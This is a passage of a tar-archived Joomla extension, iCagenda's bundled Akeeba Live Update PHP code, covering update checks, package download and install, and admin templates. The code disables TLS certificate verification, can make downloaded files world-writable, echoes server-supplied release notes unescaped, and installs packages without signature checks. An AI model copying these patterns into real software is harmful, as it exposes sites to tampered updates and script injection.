	 * if there are updates available or not, or if updates are not supported.
	 *
	 * @return int 0 = no updates, 1 = updates available, -1 = updates not supported, -2 = fetching updates crashes the server
	 */
	public function hasUpdates($force = false)
	{
		$updateInfo = $this->getUpdateInformation($force);

		if($updateInfo->stuck) return -2;

		if(!$updateInfo->supported) return -1;

		$config = LiveUpdateConfig::getInstance();
		$extInfo = $config->getExtensionInformation();

		// Filter by stability level
		$minStability = $config->getMinimumStability();
		$stability = strtolower($updateInfo->stability);

		switch($minStability) {
			case 'alpha':
			default:
				// Reports any stability level as an available update
				break;

			case 'beta':
				// Do not report alphas as available updates
				if(in_array($stability, array('alpha'))) return 0;
				break;

			case 'rc':
				// Do not report alphas and betas as available updates
				if(in_array($stability, array('alpha','beta'))) return 0;
				break;

			case 'stable':
				// Do not report alphas, betas and rcs as available updates
				if(in_array($stability, array('alpha','beta','rc'))) return 0;
				break;
		}

		if(empty($updateInfo->version) && empty($updateInfo->date)) return 0;

		// Use the version strategy to determine the availability of an update
		switch($config->getVersionStrategy()) {
			case 'newest':
				JLoader::import('joomla.utilities.date');
				if(empty($extInfo)) {
					$mine = new JDate('2000-01-01 00:00:00');
				} else {
					try {
						$mine = new JDate($extInfo['date']);
					} catch(Exception $e) {
						$mine = new JDate('2000-01-01 00:00:00');
					}
				}

				$theirs = new JDate($updateInfo->date);

				return ($theirs->toUnix() > $mine->toUnix()) ? 1 : 0;
				break;

			case 'vcompare':
				$mine = $extInfo['version'];
				if(empty($mine)) $mine = '0.0.0';
				$theirs = $updateInfo->version;
				if(empty($theirs)) $theirs = '0.0.0';

				return (version_compare($theirs, $mine, 'gt')) ? 1 : 0;
				break;

			case 'different':
				$mine = $extInfo['version'];
				if(empty($mine)) $mine = '0.0.0';
				$theirs = $updateInfo->version;
				if(empty($theirs)) $theirs = '0.0.0';

				return ($theirs != $mine) ? 1 : 0;
				break;
		}
	}

	/**
	 * Get the latest version (update) information, either from the cache or
	 * from the update server.
	 *
	 * @param $force bool Set to true to force fetching fresh data from the server
	 *
	 * @return stdClass The update information, in object format
	 */
	public function getUpdateInformation($force = false)
	{
		// Get the Live Update configuration
		$config = LiveUpdateConfig::getInstance();

		// Get an instance of the storage class
		$storageOptions = $config->getStorageAdapterPreferences();
		require_once dirname(__FILE__).'/storage/storage.php';
		$this->storage = LiveUpdateStorage::getInstance($storageOptions['adapter'], $storageOptions['config']);

		// If we are requested to forcibly reload the information, clear old data first
		if($force) {
			$this->storage->set('lastcheck', null);
			$this->storage->set('updatedata', null);
			$this->storage->save();
		}

		// Fetch information from the cache
		$lastCheck = $this->storage->get('lastcheck', 0);
		$cachedData = $this->storage->get('updatedata', null);

		if (!is_object($cachedData))
		{
			$cachedData = null;
		}

		if(empty($cachedData)) {
			$lastCheck = 0;
		}

		// Check if the cache is at most $cacheTTL hours old
		$now = time();
		$maxDifference = $this->cacheTTL * 3600;
		$difference = abs($now - $lastCheck);

		if(!($force) && ($difference <= $maxDifference)) {
			// The cache is fresh enough; return cached data
			return $cachedData;
		} else {
			// The cache is stale; fetch new data, cache it and return it to the caller
			$data = $this->getUpdateData($force);
			$this->storage->set('lastcheck', $now);
			$this->storage->set('updatedata', $data);
			$this->storage->save();
			return $data;
		}
	}

	/**
	 * Retrieves the update data from the server, unless previous runs indicate
	 * that the download process gets stuck and ends up in a WSOD.
	 *
	 * @param bool $force Set to true to force fetching new data no matter if the process is marked as stuck
	 * @return stdClass
	 */
	private function getUpdateData($force = false)
	{
		$ret = array(
			'supported'		=> false,
			'stuck'			=> true,
			'version'		=> '',
			'date'			=> '',
			'stability'		=> '',
			'downloadURL'	=> '',
			'infoURL'		=> '',
			'releasenotes'	=> ''
		);

		// If the process is marked as "stuck", we won't bother fetching data again; well,
		// unless you really force me to, by setting $force = true.
		if( ($this->storage->get('stuck',0) != 0) && !$force) return (object)$ret;

		$ret['stuck'] = false;

		require_once dirname(__FILE__).'/download.php';

		// First we mark Live Updates as getting stuck. This way, if fetching the update
		// fails with a server error, reloading the page will not result to a White Screen
		// of Death again. Hey, Joomla! core team, are you listening? Some hosts PRETEND to
		// support cURL or URL fopen() wrappers but using them throws an immediate WSOD.
		$this->storage->set('stuck', 1);
		$this->storage->save();

		$config = LiveUpdateConfig::getInstance();
		$extInfo = $config->getExtensionInformation();
		$url = $extInfo['updateurl'];
		$rawData = LiveUpdateDownloadHelper::downloadAndReturn($url);

		// Now that we have some data returned, let's unmark the process as being stuck ;)
		$this->storage->set('stuck', 0);
		$this->storage->save();

		// If we didn't get anything, assume Live Update is not supported (communication error)
		if(empty($rawData) || ($rawData == false)) return (object)$ret;

		// TODO Detect the content type of the returned update stream. For now, I will pretend it's an INI file.

		$data = $this->parseINI($rawData);
		$ret['supported'] = true;

		return (object)array_merge($ret, $data);
	}

	/**
	 * Fetches update information from the server using cURL
	 * @return string The raw server data
	 */
	private function fetchCURL()
	{
		$config = LiveUpdateConfig::getInstance();
		$extInfo = $config->getExtensionInformation();
		$url = $extInfo['updateurl'];

		$process = curl_init($url);
		$config = new LiveUpdateConfig();
		$config->applyCACert($process);
		curl_setopt($process, CURLOPT_HEADER, 0);
		// Pretend we are Firefox, so that webservers play nice with us
		curl_setopt($process, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14) Gecko/20110105 Firefox/3.6.14');
		curl_setopt($process, CURLOPT_ENCODING, 'gzip');
		curl_setopt($process, CURLOPT_TIMEOUT, 10);
		curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($process, CURLOPT_SSL_VERIFYPEER, false);
		// The @ sign allows the next line to fail if open_basedir is set or if safe mode is enabled
		@curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
		@curl_setopt($process, CURLOPT_MAXREDIRS, 20);
		$inidata = curl_exec($process);
		curl_close($process);
		return $inidata;
	}

	/**
	 * Fetches update information from the server using file_get_contents, which internally
	 * uses URL fopen() wrappers.
	 * @return string The raw server data
	 */
	private function fetchFOPEN()
	{
		$config = LiveUpdateConfig::getInstance();
		$extInfo = $config->getExtensionInformation();
		$url = $extInfo['updateurl'];

		return @file_get_contents($url);
	}

	/**
	 * Parses the raw INI data into an array of update information
	 * @param string $rawData The raw INI data
	 * @return array The parsed data
	 */
	private function parseINI($rawData)
	{
		$ret = array(
			'version'		=> '',
			'date'			=> '',
			'stability'		=> '',
			'downloadURL'	=> '',
			'infoURL'		=> '',
			'releasenotes'	=> ''
		);

		// Get the magic string
		$magicPos = strpos($rawData, '; Live Update provision file');

		if($magicPos === false) {
			// That's not an INI file :(
			return $ret;
		}

		if($magicPos !== 0) {
			$rawData = substr($rawData, $magicPos);
		}

		require_once dirname(__FILE__).'/inihelper.php';
		$iniData = LiveUpdateINIHelper::parse_ini_file($rawData, false, true);

		// Get the supported platforms
		$supportedPlatform = false;
		$versionParts = explode('.',JVERSION);
		$currentPlatform = $versionParts[0].'.'.$versionParts[1];

		if(array_key_exists('platforms', $iniData)) {
			$rawPlatforms = explode(',', $iniData['platforms']);
			foreach($rawPlatforms as $platform) {
				$platform = trim($platform);
				if(substr($platform,0,7) != 'joomla/') {
					continue;
				}
				$platform = substr($platform, 7);
				if($currentPlatform == $platform) {
					$supportedPlatform = true;
				}
			}
		} else {
			// Lies, damn lies
			$supportedPlatform = true;
		}

		if(!$supportedPlatform) {
			return $ret;
		}

		$ret['version'] = array_key_exists('version', $iniData) ? $iniData['version'] : '';
		$ret['date'] = array_key_exists('date', $iniData) ? $iniData['date'] : '';
		$config = LiveUpdateConfig::getInstance();
		$auth = $config->getAuthorization();
		if(!array_key_exists('link', $iniData)) $iniData['link'] = '';
		$glue = strpos($iniData['link'],'?') === false ? '?' : '&';
		$ret['downloadURL'] = $iniData['link'] . (empty($auth) ? '' : $glue.$auth);
//		$ret['downloadURL'] = $iniData['link'];
		if(array_key_exists('stability', $iniData)) {
			$stability = $iniData['stability'];
		} else {
			// Stability not defined; guesswork mode enabled
			$version = $ret['version'];
			if( preg_match('#^[0-9\.]*a[0-9\.]*#', $version) == 1 ) {
				$stability = 'alpha';
			} elseif( preg_match('#^[0-9\.]*b[0-9\.]*#', $version) == 1 ) {
				$stability = 'beta';
			} elseif( preg_match('#^[0-9\.]*rc[0-9\.]*#', $version) == 1 ) {
				$stability = 'rc';
			} elseif( preg_match('#^[0-9\.]*$#', $version) == 1 ) {
				$stability = 'stable';
			} else {
				$stability = 'svn';
			}
		}
		$ret['stability'] = $stability;

		if(array_key_exists('releasenotes', $iniData)) {
			$ret['releasenotes'] = $iniData['releasenotes'];
		}

		if(array_key_exists('infourl', $iniData)) {
			$ret['infoURL'] = $iniData['infourl'];
		}

		return $ret;
	}
}
com_icagenda/liveupdate/classes/model.php000060400000014112152455305300014542 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 *
 * @package LiveUpdate 2.1.5 - 2.2.1
 * @copyright Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
 * @license GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>
 *
 * @version     3.1.7 2013-08-28
 * @since       1.2.6
 */
/**
 * Specific error message update - iCagenda
 */

defined('_JEXEC') or die();

JLoader::import('joomla.application.component.model');

if(!class_exists('JoomlaCompatModel')) {
	if(interface_exists('JModel')) {
		abstract class JoomlaCompatModel extends JModelLegacy {}
	} else {
		class JoomlaCompatModel extends JModel {}
	}
}

/**
 * The Live Update MVC model
 */
class LiveUpdateModel extends JoomlaCompatModel
{
	public function download()
	{
		// Get the path to Joomla!'s temporary directory
		$jreg = JFactory::getConfig();
		$tmpdir = $jreg->get('tmp_path');

		JLoader::import('joomla.filesystem.folder');
		// Make sure the user doesn't use the system-wide tmp directory. You know, the one that's
		// being erased periodically and will cause a real mess while installing extensions (Grrr!)
		if(realpath($tmpdir) == '/tmp') {
			// Someone inform the user that what he's doing is insecure and stupid, please. In the
			// meantime, I will fix what is broken.
			$tmpdir = JPATH_SITE.'/tmp';
		} // Make sure that folder exists (users do stupid things too often; you'd be surprised)
		elseif(!JFolder::exists($tmpdir)) {
			// Darn it, user! WTF where you thinking? OK, let's use a directory I know it's there...
			$tmpdir = JPATH_SITE.'/tmp';
		}

		// Oki. Let's get the URL of the package
		$updateInfo = LiveUpdate::getUpdateInformation();
		$config = LiveUpdateConfig::getInstance();
		$auth = $config->getAuthorization();
		$url = $updateInfo->downloadURL;

		// Sniff the package type. If sniffing is impossible, I'll assume a ZIP package
		$basename = basename($url);
		if(strstr($basename,'?')) {
			$basename = substr($basename, strstr($basename,'?')+1);
		}
		if(substr($basename,-4) == '.zip') {
			$type = 'zip';
		} elseif(substr($basename,-4) == '.tar') {
			$type = 'tar';
		} elseif(substr($basename,-4) == '.tgz') {
			$type = 'tar.gz';
		} elseif(substr($basename,-7) == '.tar.gz') {
			$type = 'tar.gz';
		} else {
			$type = 'zip';
		}

		// Cache the path to the package file and the temp installation directory in the session
		$target = $tmpdir.'/'.$updateInfo->extInfo->name.'.update.'.$type;
		$tempdir = $tmpdir.'/'.$updateInfo->extInfo->name.'_update';

		$session = JFactory::getSession();
		$session->set('target', $target, 'liveupdate');
		$session->set('tempdir', $tempdir, 'liveupdate');

		// Let's download!
		require_once dirname(__FILE__).'/download.php';
		return LiveUpdateDownloadHelper::download($url, $target);
	}

	public function extract()
	{
		$session = JFactory::getSession();
		$target = $session->get('target', '', 'liveupdate');
		$tempdir = $session->get('tempdir', '', 'liveupdate');

		JLoader::import('joomla.filesystem.archive');
		return JArchive::extract( $target, $tempdir);
	}

	public function install()
	{
		$session = JFactory::getSession();
		$tempdir = $session->get('tempdir', '', 'liveupdate');

		JLoader::import('joomla.installer.installer');
		JLoader::import('joomla.installer.helper');
		$installer = JInstaller::getInstance();
		$packageType = JInstallerHelper::detectType($tempdir);

		if(!$packageType) {
			$msg = JText::_('LIVEUPDATE_INVALID_PACKAGE_TYPE');
			$result = false;
		} elseif (!$installer->install($tempdir)) {
			// There was an error installing the package
//			$msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Error'));
			$msg = JText::sprintf('LIVEUPDATE_INSTALL_ERROR', JText::_('LIVEUPDATE_INSTALL_TYPE_'.strtoupper($packageType)));
			$result = false;
		} else {
			// Package installed sucessfully
//			$msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Success'));
			$msg = JText::sprintf('LIVEUPDATE_INSTALL_SUCCESS', JText::_('LIVEUPDATE_INSTALL_TYPE_'.strtoupper($packageType)));
			$result = true;
		}

		$app = JFactory::getApplication();
		$app->enqueueMessage($msg);
		$this->setState('result', $result);
		$this->setState('packageType', $packageType);
		if($packageType) {
			$this->setState('name', $installer->get('name'));
			$this->setState('message', $installer->message);
			$this->setState('extmessage', $installer->get('extension_message'));
		}

		return $result;
	}

	public function cleanup()
	{
		$session = JFactory::getSession();
		$target = $session->get('target', '', 'liveupdate');
		$tempdir = $session->get('tempdir', '', 'liveupdate');

		JLoader::import('joomla.installer.helper');
		JInstallerHelper::cleanupInstall($target, $tempdir);

		$session->clear('target','liveupdate');
		$session->clear('tempdir','liveupdate');
	}

	public function getSRPURL($return = '')
	{
		$session = JFactory::getSession();
		$tempdir = $session->get('tempdir', '', 'liveupdate');

		JLoader::import('joomla.installer.installer');
		JLoader::import('joomla.installer.helper');
		JLoader::import('joomla.filesystem.file');

		$instModelFile = JPATH_ADMINISTRATOR.'/components/com_akeeba/models/installer.php';
		if(!JFile::exists($instModelFile)) {
			$instModelFile = JPATH_ADMINISTRATOR.'/components/com_akeeba/plugins/models/installer.php';
		};
		if(!JFile::exists($instModelFile)) return false;

		require_once $instModelFile;
		$model	= JoomlaCompatModel::getInstance('Installer', 'AkeebaModel');
		$packageType = JInstallerHelper::detectType($tempdir);
		$name = $model->getExtensionName($tempdir);

		$url = 'index.php?option=com_akeeba&view=backup&tag=restorepoint&type='.$packageType.'&name='.urlencode($name['name']);
		switch($packageType) {
			case 'module':
			case 'template':
				$url .= '&group='.$name['client'];
				break;
			case 'plugin':
				$url .= '&group='.$name['group'];
				break;
		}

		if(!empty($return)) $url .= '&returnurl='.urlencode($return);

		return $url;
	}
}
com_icagenda/liveupdate/classes/download.php000060400000024051152455305300015254 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 *
 * @package LiveUpdate 2.1.5 - 2.2.1
 * @copyright  Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
 * @license    GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>
 *
 * @version     3.1.7 2013-08-28
 * @since       1.2.6
 */

defined('_JEXEC') or die();

/**
 * Allows downloading packages over the web to your server
 */
class LiveUpdateDownloadHelper
{
	/**
	 * Downloads from a URL and saves the result as a local file
	 *
	 * @param   string  $url     The URL to fetch
	 * @param   string  $target  Where to save the file
	 *
	 * @return  boolean  True on success
	 */
	public static function download($url, $target)
	{
		// Import Joomla! libraries
		JLoader::import('joomla.filesystem.file');

		/** @var bool Did we try to force permissions? */
		$hackPermissions = false;

		// Make sure the target does not exist
		if (JFile::exists($target))
		{
			if (!@unlink($target))
			{
				JFile::delete($target);
			}
		}

		// Try to open the output file for writing
		$fp = @fopen($target, 'wb');

		if ($fp === false)
		{
			// The file can not be opened for writing. Let's try a hack.
			$empty = '';
			if (JFile::write($target, $empty))
			{
				if (self::chmod($target, 511))
				{
					$fp				 = @fopen($target, 'wb');
					$hackPermissions = true;
				}
			}
		}

		$result = false;

		if ($fp !== false)
		{
			// First try to download directly to file if $fp !== false
			$adapters	 = self::getAdapters();
			$result		 = false;

			while (!empty($adapters) && ($result === false))
			{
				// Run the current download method
				$method	 = 'get' . strtoupper(array_shift($adapters));
				$result	 = self::$method($url, $fp);

				// Check if we have a download
				if ($result === true)
				{
					// The download is complete, close the file pointer
					@fclose($fp);

					// If the filesize is not at least 1 byte, we consider it failed.
					clearstatcache();
					$filesize = @filesize($target);

					if ($filesize <= 0)
					{
						$result	 = false;
						$fp		 = @fopen($target, 'wb');
					}
				}
			}

			// If we have no download, close the file pointer
			if ($result === false)
			{
				@fclose($fp);
			}
		}

		if ($result === false)
		{
			// Delete the target file if it exists
			if (file_exists($target))
			{
				if (!@unlink($target))
				{
					JFile::delete($target);
				}
			}
			// Download and write using JFile::write();
			$result = JFile::write($target, self::downloadAndReturn($url));
		}

		return $result;
	}

	/**
	 * Downloads from a URL and returns the result as a string
	 *
	 * @param   string  $url  The URL to download from
	 *
	 * @return  mixed  Result string on success, false on failure
	 */
	public static function downloadAndReturn($url)
	{
		$adapters	 = self::getAdapters();
		$result		 = false;

		while (!empty($adapters) && ($result === false))
		{
			// Run the current download method
			$method	 = 'get' . strtoupper(array_shift($adapters));
			$result	 = self::$method($url, null);
		}

		return $result;
	}

	/**
	 * Does the server support PHP's cURL extension?
	 *
	 * @return   boolean  True if it is supported
	 */
	private static function hasCURL()
	{
		static $result = null;

		if (is_null($result))
		{
			$result = function_exists('curl_init');
		}

		return $result;
	}

	/**
	 * Downloads the contents of a URL and writes them to disk (if $fp is not null)
	 * or returns them as a string (if $fp is null) using cURL
	 *
	 * @param   string    $url  The URL to download from
	 * @param   resource  $fp   The file pointer to download to. Omit to return the contents.
	 *
	 * @return  boolean|string  False on failure, true on success ($fp not null) or the URL contents (if $fp is null)
	 */
	private static function &getCURL($url, $fp = null, $nofollow = false)
	{
		$result = false;

		$ch		 = curl_init($url);
		$config	 = new LiveUpdateConfig();
		$config->applyCACert($ch);

		if (!@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1) && !$nofollow)
		{
			// Safe Mode is enabled. We have to fetch the headers and
			// parse any redirections present in there.
			curl_setopt($ch, CURLOPT_AUTOREFERER, true);
			curl_setopt($ch, CURLOPT_FAILONERROR, true);
			curl_setopt($ch, CURLOPT_HEADER, true);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
			curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
			curl_setopt($ch, CURLOPT_TIMEOUT, 30);

			// Get the headers
			$data = curl_exec($ch);
			curl_close($ch);

			// Init
			$newURL = $url;

			// Parse the headers
			$lines = explode("\n", $data);

			foreach ($lines as $line)
			{
				if (substr($line, 0, 9) == "Location:")
				{
					$newURL = trim(substr($line, 9));
				}
			}

			// Download from the new URL
			if ($url != $newURL)
			{
				return self::getCURL($newURL, $fp);
			}
			else
			{
				return self::getCURL($newURL, $fp, true);
			}
		}
		else
		{
			@curl_setopt($ch, CURLOPT_MAXREDIRS, 20);
		}

		curl_setopt($ch, CURLOPT_AUTOREFERER, true);
		curl_setopt($ch, CURLOPT_FAILONERROR, true);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
		curl_setopt($ch, CURLOPT_TIMEOUT, 30);
		// Pretend we are IE7, so that webservers play nice with us
		curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)');

		if (is_resource($fp))
		{
			curl_setopt($ch, CURLOPT_FILE, $fp);
		}

		$result = curl_exec($ch);
		curl_close($ch);

		return $result;
	}

	/**
	 * Does the server support URL fopen() wrappers?
	 *
	 * @return  boolean
	 */
	private static function hasFOPEN()
	{
		static $result = null;

		if (is_null($result))
		{
			// If we are not allowed to use ini_get, we assume that URL fopen is
			// disabled.
			if (!function_exists('ini_get'))
			{
				$result = false;
			}
			else
			{
				$result = ini_get('allow_url_fopen');
			}
		}

		return $result;
	}

	/**
	 * Downloads the contents of a URL and writes them to disk (if $fp is not null)
	 * or returns them as a string (if $fp is null) using fopen() URL wrappers
	 *
	 * @param   string    $url  The URL to download from
	 * @param   resource  $fp   The file pointer to download to. Omit to return the contents.
	 *
	 * @return  boolean|string  False on failure, true on success ($fp not null) or the URL contents (if $fp is null)
	 */
	private static function &getFOPEN($url, $fp = null)
	{
		$result = false;

		// Track errors
		if (function_exists('ini_set'))
		{
			$track_errors = ini_set('track_errors', true);
		}

		// Open the URL for reading
		if (function_exists('stream_context_create'))
		{
			// PHP 5+ way (best)
			$httpopts	 = array(
				'user_agent' => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)',
				'timeout'	 => 10.0,
			);
			$context	 = stream_context_create(array('http' => $httpopts));
			$ih			 = @fopen($url, 'r', false, $context);
		}
		else
		{
			// PHP 4 way (actually, it's just a fallback as we can't run this code in PHP4)
			if (function_exists('ini_set'))
			{
				ini_set('user_agent', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)');
			}
			$ih = @fopen($url, 'r');
		}

		// If fopen() fails, abort
		if (!is_resource($ih))
		{
			return $result;
		}

		// Try to download
		$bytes	 = 0;
		$result	 = true;
		$return	 = '';
		while (!feof($ih) && $result)
		{
			$contents = fread($ih, 4096);
			if ($contents === false)
			{
				@fclose($ih);
				$result = false;
				return $result;
			}
			else
			{
				$bytes += strlen($contents);
				if (is_resource($fp))
				{
					$result = @fwrite($fp, $contents);
				}
				else
				{
					$return .= $contents;
					unset($contents);
				}
			}
		}

		@fclose($ih);

		if (is_resource($fp))
		{
			return $result;
		}
		elseif ($result === true)
		{
			return $return;
		}
		else
		{
			return $result;
		}
	}

	/**
	 * Detect and return available download methods
	 *
	 * @return  array
	 */
	private static function getAdapters()
	{
		// Detect available adapters
		$adapters	 = array();
		if (self::hasCURL())
			$adapters[]	 = 'curl';
		if (self::hasFOPEN())
			$adapters[]	 = 'fopen';
		return $adapters;
	}

	/**
	 * Change the permissions of a file, optionally using FTP
	 *
	 * @param   string  $file  Absolute path to file
	 * @param   int     $mode  Permissions, e.g. 0755
	 *
	 * @return  boolean  Ture if successful
	 */
	private static function chmod($path, $mode)
	{
		if (is_string($mode))
		{
			$mode	 = octdec($mode);
			if (($mode < 0600) || ($mode > 0777))
				$mode	 = 0755;
		}

		// Initialize variables
		JLoader::import('joomla.client.helper');
		$ftpOptions = JClientHelper::getCredentials('ftp');

		// Check to make sure the path valid and clean
		$path = JPath::clean($path);

		if ($ftpOptions['enabled'] == 1)
		{
			// Connect the FTP client
			JLoader::import('joomla.client.ftp');
			if (version_compare(JVERSION, '3.0', 'ge'))
			{
				$ftp = JClientFTP::getInstance(
						$ftpOptions['host'], $ftpOptions['port'], array(), $ftpOptions['user'], $ftpOptions['pass']
				);
			}
			else
			{
				if (version_compare(JVERSION, '3.0', 'ge'))
				{
					$ftp = JClientFTP::getInstance(
							$ftpOptions['host'], $ftpOptions['port'], array(), $ftpOptions['user'], $ftpOptions['pass']
					);
				}
				else
				{
					$ftp = JFTP::getInstance(
							$ftpOptions['host'], $ftpOptions['port'], array(), $ftpOptions['user'], $ftpOptions['pass']
					);
				}
			}
		}

		if (@chmod($path, $mode))
		{
			$ret = true;
		}
		elseif ($ftpOptions['enabled'] == 1)
		{
			// Translate path and delete
			JLoader::import('joomla.client.ftp');
			$path	 = JPath::clean(str_replace(JPATH_ROOT, $ftpOptions['root'], $path), '/');
			// FTP connector throws an error
			$ret	 = $ftp->chmod($path, $mode);
		}
		else
		{
			return false;
		}
	}

}
com_icagenda/liveupdate/classes/tmpl/startupdate.php000060400000003636152455305300016767 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 *
 * @package LiveUpdate 2.1.5 - 2.2.1
 * @copyright Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
 * @license GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>
 *
 * @version     3.1.7 2013-08-28
 * @since       1.2.6
 */

defined('_JEXEC') or die();
?>

<div class="liveupdate">
	<div class="liveupdate-ftp">
		<p><?php echo JText::_('LIVEUPDATE_FTP_REQUIRED')?></p>
		<form name="adminForm" id="adminForm" action="index.php" method="get">
			<input name="option" value="<?php echo JRequest::getCmd('option','')?>" type="hidden" />
			<input name="view" value="<?php echo JRequest::getCmd('view','liveupdate')?>" type="hidden" />
			<input name="task" value="download" type="hidden" />
			<fieldset>
				<legend><?php echo JText::_('LIVEUPDATE_FTP') ?></legend>

				<table class="adminform">
					<tbody>
						<tr>
							<td width="120">
								<label for="username"><?php echo JText::_('LIVEUPDATE_FTPUSERNAME'); ?></label>
							</td>
							<td>
								<input type="text" id="username" name="username" class="input_box" size="70" value="" />
							</td>
						</tr>
						<tr>
							<td width="120">
								<label for="password"><?php echo JText::_('LIVEUPDATE_FTPPASSWORD'); ?></label>
							</td>
							<td>
								<input type="password" id="password" name="password" class="input_box" size="70" value="" />
							</td>
						</tr>
					</tbody>
				</table>
				<input type="submit" value="<?php echo JText::_('LIVEUPDATE_DOWNLOAD_AND_INSTALL'); ?>" />
			</fieldset>
		</form>
	</div>

	<p class="liveupdate-poweredby">
		Powered by <a href="https://www.akeebabackup.com/software/akeeba-live-update.html">Akeeba Live Update</a>
	</p>

</div>
com_icagenda/liveupdate/classes/tmpl/install.php000060400000002446152455305300016073 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 *
 * @package LiveUpdate 2.1.5 - 2.2.1
 * @copyright Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
 * @license GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>
 *
 * @version     3.1.7 2013-08-28
 * @since       1.2.6
 */

defined( '_JEXEC' ) or die();

$state			= $this->get('State');
$message1		= $state->get('message');
$message2		= $state->get('extmessage');
?>
<table class="adminform">
	<tbody>
		<?php if($message1) : ?>
		<tr>
			<th><?php echo JText::_($message1) ?></th>
		</tr>
		<?php endif; ?>
		<?php if($message2) : ?>
		<tr>
			<td><?php echo $message2; ?></td>
		</tr>
		<?php endif; ?>
	</tbody>
</table>

<p class="liveupdate-poweredby">
	Powered by <a href="https://www.akeebabackup.com/software/akeeba-live-update.html">Akeeba Live Update</a>
</p>

<iframe style="width: 0px; height: 0px; border: none;" frameborder="0" marginheight="0" marginwidth="0" height="0" width="0"
	src="index.php?option=<?php echo JRequest::getCmd('option','')?>&view=<?php echo JRequest::getCmd('view','')?>&task=cleanup"></iframe>
com_icagenda/liveupdate/classes/tmpl/overview.php000060400000013736152455305300016277 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 *
 * @package LiveUpdate 2.1.5 - 2.2.1
 * @copyright Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
 * @license GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>
 *
 * @version     3.4.0 2014-12-21
 * @since       1.2.6
 */
/**
 * Specific strings iCagenda
 */

defined('_JEXEC') or die();

JHtml::_('behavior.framework');
JHtml::_('behavior.modal');
?>

<div class="liveupdate">

	<?php if($this->updateInfo->releasenotes): ?>
	<div style="display:none;">
		<div id="liveupdate-releasenotes">
			<div class="liveupdate-releasenotes-text">
			<?php echo $this->updateInfo->releasenotes ?>
			</div>
		</div>
	</div>
	<?php endif; ?>

	<?php if(!$this->updateInfo->supported): ?>
	<div class="liveupdate-notsupported">
		<h3><?php echo JText::_('LIVEUPDATE_NOTSUPPORTED_HEAD') ?></h3>

		<p><?php echo JText::_('LIVEUPDATE_NOTSUPPORTED_INFO'); ?></p>
		<p class="liveupdate-url">
			<?php echo $this->escape($this->updateInfo->extInfo->updateurl) ?>
		</p>
		<p><?php echo JText::sprintf('LIVEUPDATE_NOTSUPPORTED_ALTMETHOD', $this->escape($this->updateInfo->extInfo->title)); ?></p>
		<p class="liveupdate-buttons">
			<button onclick="window.location='<?php echo $this->requeryURL ?>'" ><?php echo JText::_('LIVEUPDATE_REFRESH_INFO') ?></button>
		</p>
	</div>

	<?php elseif($this->updateInfo->stuck):?>
	<div class="liveupdate-stuck">
		<h3><?php echo JText::_('LIVEUPDATE_STUCK_HEAD') ?></h3>

		<p><?php echo JText::_('LIVEUPDATE_STUCK_INFO'); ?></p>
		<p><?php echo JText::sprintf('LIVEUPDATE_NOTSUPPORTED_ALTMETHOD', $this->escape($this->updateInfo->extInfo->title)); ?></p>

		<p class="liveupdate-buttons">
			<button onclick="window.location='<?php echo $this->requeryURL ?>'" ><?php echo JText::_('LIVEUPDATE_REFRESH_INFO') ?></button>
		</p>
	</div>

	<?php else: ?>
	<?php
		$class = $this->updateInfo->hasUpdates ? 'hasupdates' : 'noupdates';
		$auth = $this->config->getAuthorization();
		$auth = empty($auth) ? '' : '?'.$auth;
	?>
	<?php if($this->needsAuth): ?>
	<p class="liveupdate-error-needsauth">
		<?php echo JText::_('LIVEUPDATE_ERROR_NEEDS_PRO_ID'); ?>
	</p>
	<?php endif; ?>
	<div class="liveupdate-<?php echo $class?>">
		<h3><?php echo JText::_('LIVEUPDATE_'.strtoupper($class).'_HEAD') ?><?php if ($class == 'hasupdates') : ?>!<?php endif; ?></h3>
